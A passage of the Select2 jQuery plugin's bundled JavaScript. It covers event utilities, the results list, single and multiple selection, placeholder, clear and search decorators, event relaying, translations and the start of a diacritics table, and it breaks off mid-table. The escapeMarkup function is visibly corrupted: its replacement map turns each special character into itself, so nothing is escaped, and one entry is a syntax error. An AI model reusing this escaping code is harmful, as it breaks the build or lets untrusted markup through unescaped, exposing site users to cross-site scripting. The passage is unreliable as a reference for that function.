Observable.prototype.trigger = function (event) {
var slice = Array.prototype.slice;
var params = slice.call(arguments, 1);
this.listeners = this.listeners || {};
// Params should always come in as an array
if (params == null) {
params = [];
}
// If there are no arguments to the event, use a temporary object
if (params.length === 0) {
params.push({});
}
// Set the `_type` of the first object to the event
params[0]._type = event;
if (event in this.listeners) {
this.invoke(this.listeners[event], slice.call(arguments, 1));
}
if ('*' in this.listeners) {
this.invoke(this.listeners['*'], arguments);
}
};
Observable.prototype.invoke = function (listeners, params) {
for (var i = 0, len = listeners.length; i < len; i++) {
listeners[i].apply(this, params);
}
};
Utils.Observable = Observable;
Utils.generateChars = function (length) {
var chars = '';
for (var i = 0; i < length; i++) {
var randomChar = Math.floor(Math.random() * 36);
chars += randomChar.toString(36);
}
return chars;
};
Utils.bind = function (func, context) {
return function () {
func.apply(context, arguments);
};
};
Utils._convertData = function (data) {
for (var originalKey in data) {
var keys = originalKey.split('-');
var dataLevel = data;
if (keys.length === 1) {
continue;
}
for (var k = 0; k < keys.length; k++) {
var key = keys[k];
// Lowercase the first letter
// By default, dash-separated becomes camelCase
key = key.substring(0, 1).toLowerCase() + key.substring(1);
if (!(key in dataLevel)) {
dataLevel[key] = {};
}
if (k == keys.length - 1) {
dataLevel[key] = data[originalKey];
}
dataLevel = dataLevel[key];
}
delete data[originalKey];
}
return data;
};
Utils.hasScroll = function (index, el) {
// Adapted from the function created by @ShadowScripter
// and adapted by @BillBarry on the Stack Exchange Code Review website.
// The original code can be found at
// http://codereview.stackexchange.com/q/13338
// and was designed to be used with the Sizzle selector engine.
var $el = $(el);
var overflowX = el.style.overflowX;
var overflowY = el.style.overflowY;
//Check both x and y declarations
if (overflowX === overflowY &&
(overflowY === 'hidden' || overflowY === 'visible')) {
return false;
}
if (overflowX === 'scroll' || overflowY === 'scroll') {
return true;
}
return ($el.innerHeight() < el.scrollHeight ||
$el.innerWidth() < el.scrollWidth);
};
Utils.escapeMarkup = function (markup) {
var replaceMap = {
'\\': '\',
'&': '&',
'<': '<',
'>': '>',
'"': '"',
'\'': ''',
'/': '/'
};
// Do not try to escape the markup if it's not a string
if (typeof markup !== 'string') {
return markup;
}
return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
return replaceMap[match];
});
};
// Append an array of jQuery nodes to a given element.
Utils.appendMany = function ($element, $nodes) {
// jQuery 1.7.x does not support $.fn.append() with an array
// Fall back to a jQuery object collection using $.fn.add()
if ($.fn.jquery.substr(0, 3) === '1.7') {
var $jqNodes = $();
$.map($nodes, function (node) {
$jqNodes = $jqNodes.add(node);
});
$nodes = $jqNodes;
}
$element.append($nodes);
};
// Determine whether the browser is on a touchscreen device.
Utils.isTouchscreen = function() {
if ('undefined' === typeof Utils._isTouchscreenCache) {
Utils._isTouchscreenCache = 'ontouchstart' in document.documentElement;
}
return Utils._isTouchscreenCache;
}
return Utils;
});
S2.define('select2/results',[
'jquery',
'./utils'
], function ($, Utils) {
function Results ($element, options, dataAdapter) {
this.$element = $element;
this.data = dataAdapter;
this.options = options;
Results.__super__.constructor.call(this);
}
Utils.Extend(Results, Utils.Observable);
Results.prototype.render = function () {
var $results = $(
'<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>'
);
if (this.options.get('multiple')) {
$results.attr('aria-multiselectable', 'true');
}
this.$results = $results;
return $results;
};
Results.prototype.clear = function () {
this.$results.empty();
};
Results.prototype.displayMessage = function (params) {
var escapeMarkup = this.options.get('escapeMarkup');
this.clear();
this.hideLoading();
var $message = $(
'<li role="alert" aria-live="assertive"' +
' class="select2-results__option"></li>'
);
var message = this.options.get('translations').get(params.message);
$message.append(
escapeMarkup(
message(params.args)
)
);
$message[0].className += ' select2-results__message';
this.$results.append($message);
};
Results.prototype.hideMessages = function () {
this.$results.find('.select2-results__message').remove();
};
Results.prototype.append = function (data) {
this.hideLoading();
var $options = [];
if (data.results == null || data.results.length === 0) {
if (this.$results.children().length === 0) {
this.trigger('results:message', {
message: 'noResults'
});
}
return;
}
data.results = this.sort(data.results);
for (var d = 0; d < data.results.length; d++) {
var item = data.results[d];
var $option = this.option(item);
$options.push($option);
}
this.$results.append($options);
};
Results.prototype.position = function ($results, $dropdown) {
var $resultsContainer = $dropdown.find('.select2-results');
$resultsContainer.append($results);
};
Results.prototype.sort = function (data) {
var sorter = this.options.get('sorter');
return sorter(data);
};
Results.prototype.highlightFirstItem = function () {
var $options = this.$results
.find('.select2-results__option[data-selected]');
var $selected = $options.filter('[data-selected=true]');
// Check if there are any selected options
if ($selected.length > 0) {
// If there are selected options, highlight the first
$selected.first().trigger('mouseenter');
} else {
// If there are no selected options, highlight the first option
// in the dropdown
$options.first().trigger('mouseenter');
}
this.ensureHighlightVisible();
};
Results.prototype.setClasses = function () {
var self = this;
this.data.current(function (selected) {
var selectedIds = $.map(selected, function (s) {
return s.id.toString();
});
var $options = self.$results
.find('.select2-results__option[data-selected]');
$options.each(function () {
var $option = $(this);
var item = $.data(this, 'data');
// id needs to be converted to a string when comparing
var id = '' + item.id;
if ((item.element != null && item.element.selected) ||
(item.element == null && $.inArray(id, selectedIds) > -1)) {
$option.attr('data-selected', 'true');
} else {
$option.attr('data-selected', 'false');
}
});
});
};
Results.prototype.showLoading = function (params) {
this.hideLoading();
var loadingMore = this.options.get('translations').get('searching');
var loading = {
disabled: true,
loading: true,
text: loadingMore(params)
};
var $loading = this.option(loading);
$loading.className += ' loading-results';
this.$results.prepend($loading);
};
Results.prototype.hideLoading = function () {
this.$results.find('.loading-results').remove();
};
Results.prototype.option = function (data) {
var option = document.createElement('li');
option.className = 'select2-results__option';
var attrs = {
'role': 'option',
'data-selected': 'false',
'tabindex': -1
};
if (data.disabled) {
delete attrs['data-selected'];
attrs['aria-disabled'] = 'true';
}
if (data.id == null) {
delete attrs['data-selected'];
}
if (data._resultId != null) {
option.id = data._resultId;
}
if (data.title) {
option.title = data.title;
}
if (data.children) {
attrs['aria-label'] = data.text;
delete attrs['data-selected'];
}
for (var attr in attrs) {
var val = attrs[attr];
option.setAttribute(attr, val);
}
if (data.children) {
var $option = $(option);
var label = document.createElement('strong');
label.className = 'select2-results__group';
var $label = $(label);
this.template(data, label);
$label.attr('role', 'presentation');
var $children = [];
for (var c = 0; c < data.children.length; c++) {
var child = data.children[c];
var $child = this.option(child);
$children.push($child);
}
var $childrenContainer = $('<ul></ul>', {
'class': 'select2-results__options select2-results__options--nested',
'role': 'listbox'
});
$childrenContainer.append($children);
$option.attr('role', 'list');
$option.append(label);
$option.append($childrenContainer);
} else {
this.template(data, option);
}
$.data(option, 'data', data);
return option;
};
Results.prototype.bind = function (container, $container) {
var self = this;
var id = container.id + '-results';
this.$results.attr('id', id);
container.on('results:all', function (params) {
self.clear();
self.append(params.data);
if (container.isOpen()) {
self.setClasses();
self.highlightFirstItem();
}
});
container.on('results:append', function (params) {
self.append(params.data);
if (container.isOpen()) {
self.setClasses();
}
});
container.on('query', function (params) {
self.hideMessages();
self.showLoading(params);
});
container.on('select', function () {
if (!container.isOpen()) {
return;
}
self.setClasses();
self.highlightFirstItem();
});
container.on('unselect', function () {
if (!container.isOpen()) {
return;
}
self.setClasses();
self.highlightFirstItem();
});
container.on('open', function () {
// When the dropdown is open, aria-expended="true"
self.$results.attr('aria-expanded', 'true');
self.$results.attr('aria-hidden', 'false');
self.setClasses();
self.ensureHighlightVisible();
});
container.on('close', function () {
// When the dropdown is closed, aria-expended="false"
self.$results.attr('aria-expanded', 'false');
self.$results.attr('aria-hidden', 'true');
self.$results.removeAttr('aria-activedescendant');
});
container.on('results:toggle', function () {
var $highlighted = self.getHighlightedResults();
if ($highlighted.length === 0) {
return;
}
$highlighted.trigger('mouseup');
});
container.on('results:select', function () {
var $highlighted = self.getHighlightedResults();
if ($highlighted.length === 0) {
return;
}
var data = $highlighted.data('data');
if ($highlighted.attr('data-selected') == 'true') {
self.trigger('close', {});
} else {
self.trigger('select', {
data: data
});
}
});
container.on('results:previous', function () {
var $highlighted = self.getHighlightedResults();
var $options = self.$results.find('[data-selected]');
var currentIndex = $options.index($highlighted);
// If we are already at te top, don't move further
if (currentIndex === 0) {
return;
}
var nextIndex = currentIndex - 1;
// If none are highlighted, highlight the first
if ($highlighted.length === 0) {
nextIndex = 0;
}
var $next = $options.eq(nextIndex);
$next.trigger('mouseenter');
var currentOffset = self.$results.offset().top;
var nextTop = $next.offset().top;
var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);
if (nextIndex === 0) {
self.$results.scrollTop(0);
} else if (nextTop - currentOffset < 0) {
self.$results.scrollTop(nextOffset);
}
});
container.on('results:next', function () {
var $highlighted = self.getHighlightedResults();
var $options = self.$results.find('[data-selected]');
var currentIndex = $options.index($highlighted);
var nextIndex = currentIndex + 1;
// If we are at the last option, stay there
if (nextIndex >= $options.length) {
return;
}
var $next = $options.eq(nextIndex);
$next.trigger('mouseenter');
var currentOffset = self.$results.offset().top +
self.$results.outerHeight(false);
var nextBottom = $next.offset().top + $next.outerHeight(false);
var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;
if (nextIndex === 0) {
self.$results.scrollTop(0);
} else if (nextBottom > currentOffset) {
self.$results.scrollTop(nextOffset);
}
});
container.on('results:focus', function (params) {
params.element.addClass('select2-results__option--highlighted').attr('aria-selected', 'true');
self.$results.attr('aria-activedescendant', params.element.attr('id'));
});
container.on('results:message', function (params) {
self.displayMessage(params);
});
if ($.fn.mousewheel) {
this.$results.on('mousewheel', function (e) {
var top = self.$results.scrollTop();
var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;
var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();
if (isAtTop) {
self.$results.scrollTop(0);
e.preventDefault();
e.stopPropagation();
} else if (isAtBottom) {
self.$results.scrollTop(
self.$results.get(0).scrollHeight - self.$results.height()
);
e.preventDefault();
e.stopPropagation();
}
});
}
this.$results.on('mouseup', '.select2-results__option[data-selected]',
function (evt) {
var $this = $(this);
var data = $this.data('data');
if ($this.attr('data-selected') === 'true') {
if (self.options.get('multiple')) {
self.trigger('unselect', {
originalEvent: evt,
data: data
});
} else {
self.trigger('close', {});
}
return;
}
self.trigger('select', {
originalEvent: evt,
data: data
});
});
this.$results.on('mouseenter', '.select2-results__option[data-selected]',
function (evt) {
var data = $(this).data('data');
self.getHighlightedResults()
.removeClass('select2-results__option--highlighted')
.attr('aria-selected', 'false');
self.trigger('results:focus', {
data: data,
element: $(this)
});
});
};
Results.prototype.getHighlightedResults = function () {
var $highlighted = this.$results
.find('.select2-results__option--highlighted');
return $highlighted;
};
Results.prototype.destroy = function () {
this.$results.remove();
};
Results.prototype.ensureHighlightVisible = function () {
var $highlighted = this.getHighlightedResults();
if ($highlighted.length === 0) {
return;
}
var $options = this.$results.find('[data-selected]');
var currentIndex = $options.index($highlighted);
var currentOffset = this.$results.offset().top;
var nextTop = $highlighted.offset().top;
var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);
var offsetDelta = nextTop - currentOffset;
nextOffset -= $highlighted.outerHeight(false) * 2;
if (currentIndex <= 2) {
this.$results.scrollTop(0);
} else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
this.$results.scrollTop(nextOffset);
}
};
Results.prototype.template = function (result, container) {
var template = this.options.get('templateResult');
var escapeMarkup = this.options.get('escapeMarkup');
var content = template(result, container);
if (content == null) {
container.style.display = 'none';
} else if (typeof content === 'string') {
container.innerHTML = escapeMarkup(content);
} else {
$(container).append(content);
}
};
return Results;
});
S2.define('select2/keys',[
], function () {
var KEYS = {
BACKSPACE: 8,
TAB: 9,
ENTER: 13,
SHIFT: 16,
CTRL: 17,
ALT: 18,
ESC: 27,
SPACE: 32,
PAGE_UP: 33,
PAGE_DOWN: 34,
END: 35,
HOME: 36,
LEFT: 37,
UP: 38,
RIGHT: 39,
DOWN: 40,
DELETE: 46
};
return KEYS;
});
S2.define('select2/selection/base',[
'jquery',
'../utils',
'../keys'
], function ($, Utils, KEYS) {
function BaseSelection ($element, options) {
this.$element = $element;
this.options = options;
BaseSelection.__super__.constructor.call(this);
}
Utils.Extend(BaseSelection, Utils.Observable);
BaseSelection.prototype.render = function () {
var $selection = $(
'<span class="select2-selection" ' +
' aria-haspopup="true" aria-expanded="false">' +
'</span>'
);
this._tabindex = 0;
if (this.$element.data('old-tabindex') != null) {
this._tabindex = this.$element.data('old-tabindex');
} else if (this.$element.attr('tabindex') != null) {
this._tabindex = this.$element.attr('tabindex');
}
$selection.attr('title', this.$element.attr('title'));
$selection.attr('tabindex', this._tabindex);
this.$selection = $selection;
return $selection;
};
BaseSelection.prototype.bind = function (container, $container) {
var self = this;
var id = container.id + '-container';
var resultsId = container.id + '-results';
var searchHidden = this.options.get('minimumResultsForSearch') === Infinity;
this.container = container;
this.$selection.on('focus', function (evt) {
self.trigger('focus', evt);
});
this.$selection.on('blur', function (evt) {
self._handleBlur(evt);
});
this.$selection.on('keydown', function (evt) {
self.trigger('keypress', evt);
if (evt.which === KEYS.SPACE) {
evt.preventDefault();
}
});
container.on('results:focus', function (params) {
self.$selection.attr('aria-activedescendant', params.data._resultId);
});
container.on('selection:update', function (params) {
self.update(params.data);
});
container.on('open', function () {
// When the dropdown is open, aria-expanded="true"
self.$selection.attr('aria-expanded', 'true');
self.$selection.attr('aria-owns', resultsId);
self._attachCloseHandler(container);
});
container.on('close', function () {
// When the dropdown is closed, aria-expanded="false"
self.$selection.attr('aria-expanded', 'false');
self.$selection.removeAttr('aria-activedescendant');
self.$selection.removeAttr('aria-owns');
// This needs to be delayed as the active element is the body when the
// key is pressed.
window.setTimeout(function () {
self.$selection.focus();
}, 1);
self._detachCloseHandler(container);
});
container.on('enable', function () {
self.$selection.attr('tabindex', self._tabindex);
});
container.on('disable', function () {
self.$selection.attr('tabindex', '-1');
});
};
BaseSelection.prototype._handleBlur = function (evt) {
var self = this;
// This needs to be delayed as the active element is the body when the tab
// key is pressed, possibly along with others.
window.setTimeout(function () {
// Don't trigger `blur` if the focus is still in the selection
if (
(document.activeElement == self.$selection[0]) ||
($.contains(self.$selection[0], document.activeElement))
) {
return;
}
self.trigger('blur', evt);
}, 1);
};
BaseSelection.prototype._attachCloseHandler = function (container) {
var self = this;
$(document.body).on('mousedown.select2.' + container.id, function (e) {
var $target = $(e.target);
var $select = $target.closest('.select2');
var $all = $('.select2.select2-container--open');
$all.each(function () {
var $this = $(this);
if (this == $select[0]) {
return;
}
var $element = $this.data('element');
$element.select2('close');
// Remove any focus when dropdown is closed by clicking outside the select area.
// Timeout of 1 required for close to finish wrapping up.
setTimeout(function(){
$this.find('*:focus').blur();
$target.focus();
}, 1);
});
});
};
BaseSelection.prototype._detachCloseHandler = function (container) {
$(document.body).off('mousedown.select2.' + container.id);
};
BaseSelection.prototype.position = function ($selection, $container) {
var $selectionContainer = $container.find('.selection');
$selectionContainer.append($selection);
};
BaseSelection.prototype.destroy = function () {
this._detachCloseHandler(this.container);
};
BaseSelection.prototype.update = function (data) {
throw new Error('The `update` method must be defined in child classes.');
};
return BaseSelection;
});
S2.define('select2/selection/single',[
'jquery',
'./base',
'../utils',
'../keys'
], function ($, BaseSelection, Utils, KEYS) {
function SingleSelection () {
SingleSelection.__super__.constructor.apply(this, arguments);
}
Utils.Extend(SingleSelection, BaseSelection);
SingleSelection.prototype.render = function () {
var $selection = SingleSelection.__super__.render.call(this);
$selection.addClass('select2-selection--single');
$selection.html(
'<span class="select2-selection__rendered"></span>' +
'<span class="select2-selection__arrow" role="presentation">' +
'<b role="presentation"></b>' +
'</span>'
);
return $selection;
};
SingleSelection.prototype.bind = function (container, $container) {
var self = this;
SingleSelection.__super__.bind.apply(this, arguments);
var id = container.id + '-container';
this.$selection.find('.select2-selection__rendered')
.attr('id', id)
.attr('role', 'textbox')
.attr('aria-readonly', 'true');
this.$selection.attr('aria-labelledby', id);
// This makes single non-search selects work in screen readers. If it causes problems elsewhere, remove.
this.$selection.attr('role', 'combobox');
this.$selection.on('mousedown', function (evt) {
// Only respond to left clicks
if (evt.which !== 1) {
return;
}
self.trigger('toggle', {
originalEvent: evt
});
});
this.$selection.on('focus', function (evt) {
// User focuses on the container
});
this.$selection.on('keydown', function (evt) {
// If user starts typing an alphanumeric key on the keyboard, open if not opened.
if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) {
container.open();
}
});
this.$selection.on('blur', function (evt) {
// User exits the container
});
container.on('focus', function (evt) {
if (!container.isOpen()) {
self.$selection.focus();
}
});
container.on('selection:update', function (params) {
self.update(params.data);
});
};
SingleSelection.prototype.clear = function () {
this.$selection.find('.select2-selection__rendered').empty();
};
SingleSelection.prototype.display = function (data, container) {
var template = this.options.get('templateSelection');
var escapeMarkup = this.options.get('escapeMarkup');
return escapeMarkup(template(data, container));
};
SingleSelection.prototype.selectionContainer = function () {
return $('<span></span>');
};
SingleSelection.prototype.update = function (data) {
if (data.length === 0) {
this.clear();
return;
}
var selection = data[0];
var $rendered = this.$selection.find('.select2-selection__rendered');
var formatted = this.display(selection, $rendered);
$rendered.empty().text(formatted);
$rendered.prop('title', selection.title || selection.text);
};
return SingleSelection;
});
S2.define('select2/selection/multiple',[
'jquery',
'./base',
'../utils'
], function ($, BaseSelection, Utils) {
function MultipleSelection ($element, options) {
MultipleSelection.__super__.constructor.apply(this, arguments);
}
Utils.Extend(MultipleSelection, BaseSelection);
MultipleSelection.prototype.render = function () {
var $selection = MultipleSelection.__super__.render.call(this);
$selection.addClass('select2-selection--multiple');
$selection.html(
'<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>'
);
return $selection;
};
MultipleSelection.prototype.bind = function (container, $container) {
var self = this;
MultipleSelection.__super__.bind.apply(this, arguments);
this.$selection.on('click', function (evt) {
self.trigger('toggle', {
originalEvent: evt
});
});
this.$selection.on(
'click',
'.select2-selection__choice__remove',
function (evt) {
// Ignore the event if it is disabled
if (self.options.get('disabled')) {
return;
}
var $remove = $(this);
var $selection = $remove.parent();
var data = $selection.data('data');
self.trigger('unselect', {
originalEvent: evt,
data: data
});
}
);
this.$selection.on('keydown', function (evt) {
// If user starts typing an alphanumeric key on the keyboard, open if not opened.
if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) {
container.open();
}
});
// Focus on the search field when the container is focused instead of the main container.
container.on( 'focus', function(){
self.focusOnSearch();
});
};
MultipleSelection.prototype.clear = function () {
this.$selection.find('.select2-selection__rendered').empty();
};
MultipleSelection.prototype.display = function (data, container) {
var template = this.options.get('templateSelection');
var escapeMarkup = this.options.get('escapeMarkup');
return escapeMarkup(template(data, container));
};
MultipleSelection.prototype.selectionContainer = function () {
var $container = $(
'<li class="select2-selection__choice">' +
'<span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">' +
'×' +
'</span>' +
'</li>'
);
return $container;
};
/**
* Focus on the search field instead of the main multiselect container.
*/
MultipleSelection.prototype.focusOnSearch = function() {
var self = this;
if ('undefined' !== typeof self.$search) {
// Needs 1 ms delay because of other 1 ms setTimeouts when rendering.
setTimeout(function(){
// Prevent the dropdown opening again when focused from this.
// This gets reset automatically when focus is triggered.
self._keyUpPrevented = true;
self.$search.focus();
}, 1);
}
}
MultipleSelection.prototype.update = function (data) {
this.clear();
if (data.length === 0) {
return;
}
var $selections = [];
for (var d = 0; d < data.length; d++) {
var selection = data[d];
var $selection = this.selectionContainer();
var formatted = this.display(selection, $selection);
if ('string' === typeof formatted) {
formatted = formatted.trim();
}
$selection.append(formatted);
$selection.prop('title', selection.title || selection.text);
$selection.data('data', selection);
$selections.push($selection);
}
var $rendered = this.$selection.find('.select2-selection__rendered');
Utils.appendMany($rendered, $selections);
};
return MultipleSelection;
});
S2.define('select2/selection/placeholder',[
'../utils'
], function (Utils) {
function Placeholder (decorated, $element, options) {
this.placeholder = this.normalizePlaceholder(options.get('placeholder'));
decorated.call(this, $element, options);
}
Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
if (typeof placeholder === 'string') {
placeholder = {
id: '',
text: placeholder
};
}
return placeholder;
};
Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
var $placeholder = this.selectionContainer();
$placeholder.html(this.display(placeholder));
$placeholder.addClass('select2-selection__placeholder')
.removeClass('select2-selection__choice');
return $placeholder;
};
Placeholder.prototype.update = function (decorated, data) {
var singlePlaceholder = (
data.length == 1 && data[0].id != this.placeholder.id
);
var multipleSelections = data.length > 1;
if (multipleSelections || singlePlaceholder) {
return decorated.call(this, data);
}
this.clear();
var $placeholder = this.createPlaceholder(this.placeholder);
this.$selection.find('.select2-selection__rendered').append($placeholder);
};
return Placeholder;
});
S2.define('select2/selection/allowClear',[
'jquery',
'../keys'
], function ($, KEYS) {
function AllowClear () { }
AllowClear.prototype.bind = function (decorated, container, $container) {
var self = this;
decorated.call(this, container, $container);
if (this.placeholder == null) {
if (this.options.get('debug') && window.console && console.error) {
console.error(
'Select2: The `allowClear` option should be used in combination ' +
'with the `placeholder` option.'
);
}
}
this.$selection.on('mousedown', '.select2-selection__clear',
function (evt) {
self._handleClear(evt);
});
container.on('keypress', function (evt) {
self._handleKeyboardClear(evt, container);
});
};
AllowClear.prototype._handleClear = function (_, evt) {
// Ignore the event if it is disabled
if (this.options.get('disabled')) {
return;
}
var $clear = this.$selection.find('.select2-selection__clear');
// Ignore the event if nothing has been selected
if ($clear.length === 0) {
return;
}
evt.stopPropagation();
var data = $clear.data('data');
for (var d = 0; d < data.length; d++) {
var unselectData = {
data: data[d]
};
// Trigger the `unselect` event, so people can prevent it from being
// cleared.
this.trigger('unselect', unselectData);
// If the event was prevented, don't clear it out.
if (unselectData.prevented) {
return;
}
}
this.$element.val(this.placeholder.id).trigger('change');
this.trigger('toggle', {});
};
AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
if (container.isOpen()) {
return;
}
if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
this._handleClear(evt);
}
};
AllowClear.prototype.update = function (decorated, data) {
decorated.call(this, data);
if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
data.length === 0) {
return;
}
var $remove = $(
'<span class="select2-selection__clear">' +
'×' +
'</span>'
);
$remove.data('data', data);
this.$selection.find('.select2-selection__rendered').prepend($remove);
};
return AllowClear;
});
S2.define('select2/selection/search',[
'jquery',
'../utils',
'../keys'
], function ($, Utils, KEYS) {
function Search (decorated, $element, options) {
decorated.call(this, $element, options);
}
Search.prototype.render = function (decorated) {
var $search = $(
'<li class="select2-search select2-search--inline">' +
'<input class="select2-search__field" type="text" tabindex="-1"' +
' autocomplete="off" autocorrect="off" autocapitalize="none"' +
' spellcheck="false" role="textbox" aria-autocomplete="list" />' +
'</li>'
);
this.$searchContainer = $search;
this.$search = $search.find('input');
var $rendered = decorated.call(this);
this._transferTabIndex();
return $rendered;
};
Search.prototype.bind = function (decorated, container, $container) {
var self = this;
var resultsId = container.id + '-results';
decorated.call(this, container, $container);
container.on('open', function () {
self.$search.attr('aria-owns', resultsId);
self.$search.trigger('focus');
});
container.on('close', function () {
self.$search.val('');
self.$search.removeAttr('aria-activedescendant');
self.$search.removeAttr('aria-owns');
self.$search.trigger('focus');
});
container.on('enable', function () {
self.$search.prop('disabled', false);
self._transferTabIndex();
});
container.on('disable', function () {
self.$search.prop('disabled', true);
});
container.on('focus', function (evt) {
self.$search.trigger('focus');
});
container.on('results:focus', function (params) {
self.$search.attr('aria-activedescendant', params.data._resultId);
});
this.$selection.on('focusin', '.select2-search--inline', function (evt) {
self.trigger('focus', evt);
});
this.$selection.on('focusout', '.select2-search--inline', function (evt) {
self._handleBlur(evt);
});
this.$selection.on('keydown', '.select2-search--inline', function (evt) {
evt.stopPropagation();
self.trigger('keypress', evt);
self._keyUpPrevented = evt.isDefaultPrevented();
var key = evt.which;
if (key === KEYS.BACKSPACE && self.$search.val() === '') {
var $previousChoice = self.$searchContainer
.prev('.select2-selection__choice');
if ($previousChoice.length > 0) {
var item = $previousChoice.data('data');
self.searchRemoveChoice(item);
evt.preventDefault();
}
} else if (evt.which === KEYS.ENTER) {
container.open();
evt.preventDefault();
}
});
// Try to detect the IE version should the `documentMode` property that
// is stored on the document. This is only implemented in IE and is
// slightly cleaner than doing a user agent check.
// This property is not available in Edge, but Edge also doesn't have
// this bug.
var msie = document.documentMode;
var disableInputEvents = msie && msie <= 11;
// Workaround for browsers which do not support the `input` event
// This will prevent double-triggering of events for browsers which support
// both the `keyup` and `input` events.
this.$selection.on(
'input.searchcheck',
'.select2-search--inline',
function (evt) {
// IE will trigger the `input` event when a placeholder is used on a
// search box. To get around this issue, we are forced to ignore all
// `input` events in IE and keep using `keyup`.
if (disableInputEvents) {
self.$selection.off('input.search input.searchcheck');
return;
}
// Unbind the duplicated `keyup` event
self.$selection.off('keyup.search');
}
);
this.$selection.on(
'keyup.search input.search',
'.select2-search--inline',
function (evt) {
// IE will trigger the `input` event when a placeholder is used on a
// search box. To get around this issue, we are forced to ignore all
// `input` events in IE and keep using `keyup`.
if (disableInputEvents && evt.type === 'input') {
self.$selection.off('input.search input.searchcheck');
return;
}
var key = evt.which;
// We can freely ignore events from modifier keys
if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
return;
}
// Tabbing will be handled during the `keydown` phase
if (key == KEYS.TAB) {
return;
}
self.handleSearch(evt);
}
);
};
/**
* This method will transfer the tabindex attribute from the rendered
* selection to the search box. This allows for the search box to be used as
* the primary focus instead of the selection container.
*
* @private
*/
Search.prototype._transferTabIndex = function (decorated) {
this.$search.attr('tabindex', this.$selection.attr('tabindex'));
this.$selection.attr('tabindex', '-1');
};
Search.prototype.createPlaceholder = function (decorated, placeholder) {
this.$search.attr('placeholder', placeholder.text);
};
Search.prototype.update = function (decorated, data) {
var searchHadFocus = this.$search[0] == document.activeElement;
this.$search.attr('placeholder', '');
decorated.call(this, data);
this.$selection.find('.select2-selection__rendered')
.append(this.$searchContainer);
this.resizeSearch();
if (searchHadFocus) {
this.$search.focus();
}
};
Search.prototype.handleSearch = function () {
this.resizeSearch();
if (!this._keyUpPrevented) {
var input = this.$search.val();
this.trigger('query', {
term: input
});
}
this._keyUpPrevented = false;
};
Search.prototype.searchRemoveChoice = function (decorated, item) {
this.trigger('unselect', {
data: item
});
this.$search.val(item.text);
this.handleSearch();
};
Search.prototype.resizeSearch = function () {
this.$search.css('width', '25px');
var width = '';
if (this.$search.attr('placeholder') !== '') {
width = this.$selection.find('.select2-selection__rendered').innerWidth();
} else {
var minimumWidth = this.$search.val().length + 1;
width = (minimumWidth * 0.75) + 'em';
}
this.$search.css('width', width);
};
return Search;
});
S2.define('select2/selection/eventRelay',[
'jquery'
], function ($) {
function EventRelay () { }
EventRelay.prototype.bind = function (decorated, container, $container) {
var self = this;
var relayEvents = [
'open', 'opening',
'close', 'closing',
'select', 'selecting',
'unselect', 'unselecting'
];
var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting'];
decorated.call(this, container, $container);
container.on('*', function (name, params) {
// Ignore events that should not be relayed
if ($.inArray(name, relayEvents) === -1) {
return;
}
// The parameters should always be an object
params = params || {};
// Generate the jQuery event for the Select2 event
var evt = $.Event('select2:' + name, {
params: params
});
self.$element.trigger(evt);
// Only handle preventable events if it was one
if ($.inArray(name, preventableEvents) === -1) {
return;
}
params.prevented = evt.isDefaultPrevented();
});
};
return EventRelay;
});
S2.define('select2/translation',[
'jquery',
'require'
], function ($, require) {
function Translation (dict) {
this.dict = dict || {};
}
Translation.prototype.all = function () {
return this.dict;
};
Translation.prototype.get = function (key) {
return this.dict[key];
};
Translation.prototype.extend = function (translation) {
this.dict = $.extend({}, translation.all(), this.dict);
};
// Static functions
Translation._cache = {};
Translation.loadPath = function (path) {
if (!(path in Translation._cache)) {
var translations = require(path);
Translation._cache[path] = translations;
}
return new Translation(Translation._cache[path]);
};
return Translation;
});
S2.define('select2/diacritics',[
], function () {
var diacritics = {
'\u24B6': 'A',
'\uFF21': 'A',
'\u00C0': 'A',
'\u00C1': 'A',
'\u00C2': 'A',
'\u1EA6': 'A',
'\u1EA4': 'A',
'\u1EAA': 'A',
'\u1EA8': 'A',
'\u00C3': 'A',
'\u0100': 'A',
'\u0102': 'A',
'\u1EB0': 'A',
'\u1EAE': 'A',
'\u1EB4': 'A',
'\u1EB2': 'A',
'\u0226': 'A',
'\u01E0': 'A',
'\u00C4': 'A',
'\u01DE': 'A',
'\u1EA2': 'A',
'\u00C5': 'A',
'\u01FA': 'A',
'\u01CD': 'A',
'\u0200': 'A',
'\u0202': 'A',
'\u1EA0': 'A',
'\u1EAC': 'A',
'\u1EB6': 'A',
'\u1E00': 'A',
'\u0104': 'A',
'\u023A': 'A',
'\u2C6F': 'A',
'\uA732': 'AA',
'\u00C6': 'AE',
'\u01FC': 'AE',
'\u01E2': 'AE',
'\uA734': 'AO',
'\uA736': 'AU',
'\uA738': 'AV',
'\uA73A': 'AV',
'\uA73C': 'AY',
'\u24B7': 'B',
'\uFF22': 'B',
'\u1E02': 'B',
'\u1E04': 'B',
'\u1E06': 'B',
'\u0243': 'B',
'\u0182': 'B',
'\u0181': 'B',
'\u24B8': 'C',
'\uFF23': 'C',
'\u0106': 'C',
'\u0108': 'C',
'\u010A': 'C',
'\u010C': 'C',
'\u00C7': 'C',
'\u1E08': 'C',
'\u0187': 'C',
'\u023B': 'C',
'\uA73E': 'C',
'\u24B9': 'D',
'\uFF24': 'D',
'\u1E0A': 'D',
'\u010E': 'D',
'\u1E0C': 'D',
'\u1E10': 'D',
'\u1E12': 'D',
'\u1E0E': 'D',
'\u0110': 'D',
'\u018B': 'D',
'\u018A': 'D',
'\u0189': 'D',
'\uA779': 'D',
'\u01F1': 'DZ',
'\u01C4': 'DZ',
